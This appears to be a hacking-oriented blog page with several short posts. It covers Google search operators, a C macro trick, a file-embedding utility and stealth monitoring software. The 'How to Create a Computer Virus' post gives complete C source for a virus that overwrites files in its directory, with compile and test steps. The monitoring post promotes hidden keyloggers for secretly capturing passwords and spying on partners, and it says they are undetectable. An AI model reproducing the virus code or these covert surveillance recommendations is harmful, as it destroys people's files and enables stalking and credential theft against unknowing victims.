  • Advanced Google Search

    In this post I will show you some of the secrets of Advanced Google Search.

    Google is clearly the best general-purpose search engine on the Web.But most people don’t use it to its best advantage or in an advanced way. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google’s index, it’s still a struggle to pare results to a manageable number. There are some ways in which advanced Google search can be used to get the desired results.

    But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Advanced Google search options go beyond simple keywords, the Web, and even its own programmers. Let’s look at some of the advanced Google search options.

    Syntax Search Tricks

    Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages.Here are some advanced Google search operators that can help narrow down your search results.
    1.Intitle: at the beginning of a query word or phrase (intitle:”Three Blind Mice”) restricts your search results to just the titles of Web pages.

    2.Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you’re searching for might commonly appear in URLs. If you’re looking for the term HTML, for example, and you don’t want to get results such as

    www.gohacking.com/index.html
    you can enter intext:html

    3.Link: lets you see which pages are linking to your Web page or to another page you’re interested in. For example, try typing in
    link:http://www.gohacking.com/

    3.site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:”Mark Twain”site:edu. Experiment with mixing various elements; you’ll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

    Swiss Army Google

    Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
    (www.google.com/help/features.html#calculator)
    lets you do both math and a variety of conversions from the search box. For extra fun, try the query “Answer to life the universe and everything.”

    Suppose you want to contact someone and don’t have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you’ll see it at the top of the search results along with a map link to the address. If you’d rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you’d rather use a search form for business phone listings, try Yellow Search
    (www.buzztoolbox.com/google/yellowsearch.shtml).
    Let Google help you figure out whether you’ve got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try “thre blund mise”) and Google may suggest a proper spelling. This doesn’t always succeed; it works best when the word you’re searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you’re searching for “three blind mice,” underneath the search window will appear a statement such as Searched the web for “three blind mice.”) You’ll discover that you can click on each word in your search phrase and get a definition from a dictionary.

    Extended Googling
    Google offers several advanced services that give you a head start in focusing your search. Google Groups
    (http://groups.google.com/)

    indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: FroogleCODE(http://froogle.google.com/),

    which indexes products from online stores, and Google CatalogsCODE(http://catalogs.google.com/),

    which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google’s tools and services at
    www.google.com/options/index.html

    You’re probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
    Google Alert
    (http://www.googlealert.com/)

    monitors your search terms and e-mails you information about new additions to Google’s Web index. (Google Alert is not affiliated with Google; it uses Google’s Web services API to perform its searches.) If you’re more interested in news stories than general Web content, check out the beta version of Google News Alerts
    (www.google.com/newsalerts).

    This advanced Google service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
    Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
    (http://labs.google.com/),

    a place for experimental Google ideas and features (which may come and go, so what’s there at this writing might not be there when you decide to check it out).

    With Google Voice Search
    (http://labs1.google.com/gvs.html),

    you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don’t expect 100 percent success.
    In 2002, Google released the Google API (application programming interface), a way for programmers to access Google’s search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you’ll need an API key, which is available free fromCODE www.google.com/apis

  • How to Create a Computer Virus?

    This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

    #include
    #include
    #include
    #include
    #include
    #include

    FILE *virus,*host;
    int done,a=0;
    unsigned long x;
    char buff[2048];
    struct ffblk ffblk;
    clock_t st,end;

    void main()
    {
    st=clock();
    clrscr();
    done=findfirst(”*.*”,&ffblk,0);
    while(!done)
    {
    virus=fopen(_argv[0],”rb”);
    host=fopen(ffblk.ff_name,”rb+”);
    if(host==NULL) goto next;
    x=89088;
    printf(”Infecting %s\n”,ffblk.ff_name,a);
    while(x>2048)
    {
    fread(buff,2048,1,virus);
    fwrite(buff,2048,1,host);
    x-=2048;
    }
    fread(buff,x,1,virus);
    fwrite(buff,x,1,host);
    a++;
    next:
    {
    fcloseall();
    done=findnext(&ffblk);
    }
    }
    printf(”DONE! (Total Files Infected= %d)”,a);
    end=clock();
    printf(”TIME TAKEN=%f SEC\n”,
    (end-st)/CLK_TCK);
    getch();
    }

    COMPILING METHOD:

    BORLAND TC++ 3.0 (16-BIT):

    1. Load the program in the compiler, press Alt-F9 to compile

    2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

    3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

    4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

    5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

    BORLAND C++ 5.5 (32-BIT) :

    1. Compile once,note down the generated EXE file length in bytes

    2. Change the value of X in source code to this length in bytes

    3. Recompile it.The new EXE file is ready to infect

    HOW TO TEST:

    1. Open new empty folder

    2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

    3. Run the virus EXE file there you will see all the files in the current directory get infected.

    4.All the infected files will be ready to reinfect

    That’s it

  • C Program Without a Main Function

    How to write a C program without a main function?.Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…

    #include

    #define decode(s,t,u,m,p,e,d) m##s##u##t
    #define begin decode(a,n,i,m,a,t,e)

    int begin()
    {
    printf(” hello “);
    }

    Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?

    Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.

    The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.

    NOTE: A Preprocessor is program which processess the source code before compilation.

    Look at the 2nd line of program-

    #define decode(s,t,u,m,p,e,d) m##s##u##t

    What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).

    Now look at the third line of the program-

    #define begin decode(a,n,i,m,a,t,e)

    Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

    So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…

    The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

  • File Embedder Project in C

    Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project.So here i am presenting you with the source code of the FILE EMBEDDER UTILITY project.

    This utility can be used to embed one file with in the other.ie:Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

    Both the Embedding and extraction process has been presented in seperate functions for your convenience.here’s the code…..

  • How to Monitor a Local or Remote Computer

    monitor_pc

    Most of the time, it becomes necessary for us to monitor our own computer or a remote computer to keep track of the activities going on. This may be for several reasons. Especially it is most necessary for the parents to monitor their computer to keep track of their children’s activities during their absence. Some people may also require to monitor their computer to keep an eye on the activities of their spouse or partner. Today, with the advancement in the field of the software technology, it’s just a cakewalk to monitor the computer. For this all you have to do is, use a PC Monitoring Software.

    But the job doesn’t end here. This is because there exists tons of such monitoring softwares on the market and many times we get confused which to choose and how to use them. So I have decided to make this job simpler for you, by writing this post. In this post I’ll give a detailed information about Computer monitoring softwares which include their features, advantages, installation, usage procedure and so on. To make this post interesting, let’s take up each topic in the form of question and answer.

    What exactly is a Monitoring Software and how can it help me ?

    A computer monitoring software is just like any other software (program) which when installed, secretly monitors each and every activity that takes place on the computer. The activities such as web browsing, chatting, gaming etc. are all recorded and saved. These monitoring softwares can record each and every keystroke. So it is possible to capture usernames and passwords very easily with minimum effort. Monitoring softwares are also commonly known as Keyloggers.

    How can I install a monitoring software ?

    Installing a monitoring software is too simple. During the installation, you need to setup a secret password and hotkey combination which is required later to see the recorded data ( logs). After the installation is complete the software goes invisible, but keeps running in the background. Whenever you want to see the logs, just press the hotkey combination (ex. Shift+Ctrl+F10). Now a small window will popup asking for a password. Here you need to enter the password that was setup during the installation time. After you enter the password you’ll be able to see all the activities that took place on the computer during your absence.

    Can the person using the computer come to know about the presence of the Monitoring Software ?

    Most of the time it becomes impossible to detect the presence of the monitoring software. This is because, once installed it hides itself from Start menu, Program Files, Control Panel, Task manager etc. Because of it’s stealth behaviour the user can never come to know that he/she is under the presence of monitoring.

    Which Monitoring Software should I use ?

    There exists different flavours of these softwares and you have to choose the one that best match your needs. Here is a list of some of the best monitoring programs that I recommend.

    For Monitoring a Local PC:

    If you want to monitor a local PC (may be your own PC) then the following program is recommended.

    Spy Agent Stealth

    You can find a Complete Installation Guide for Spy Agent Stealth HERE

    For Monitoring a Remote PC (Also works on local PC) :

    If you want to monitor a remote PC you may use the following programs. These programs works for remote PC as well as local PC.

    Win-Spy Monitor

    You can find a Complete Installation Guide for Win-Spy Monitor HERE

    Realtime Spy

    You can find a Complete Installation Guide for Realtime Spy HERE

    Spy Anywhere

    Keystroke Spy

    For Monitoring a Network :

    The following program can be used to monitor an Entire Network of computers from one central location. This becomes handy to monitor the staff in a company or students in a school/college.

    NetVizor

    You can find a Complete Installation Guide for NetVizor HERE

    For monitoring a Cell Phone from your PC:

    If you want to monitor a Cell Phone from your PC you can refer the following link.

    Cell Phone Spy

    I hope this helps. Pass your comments.
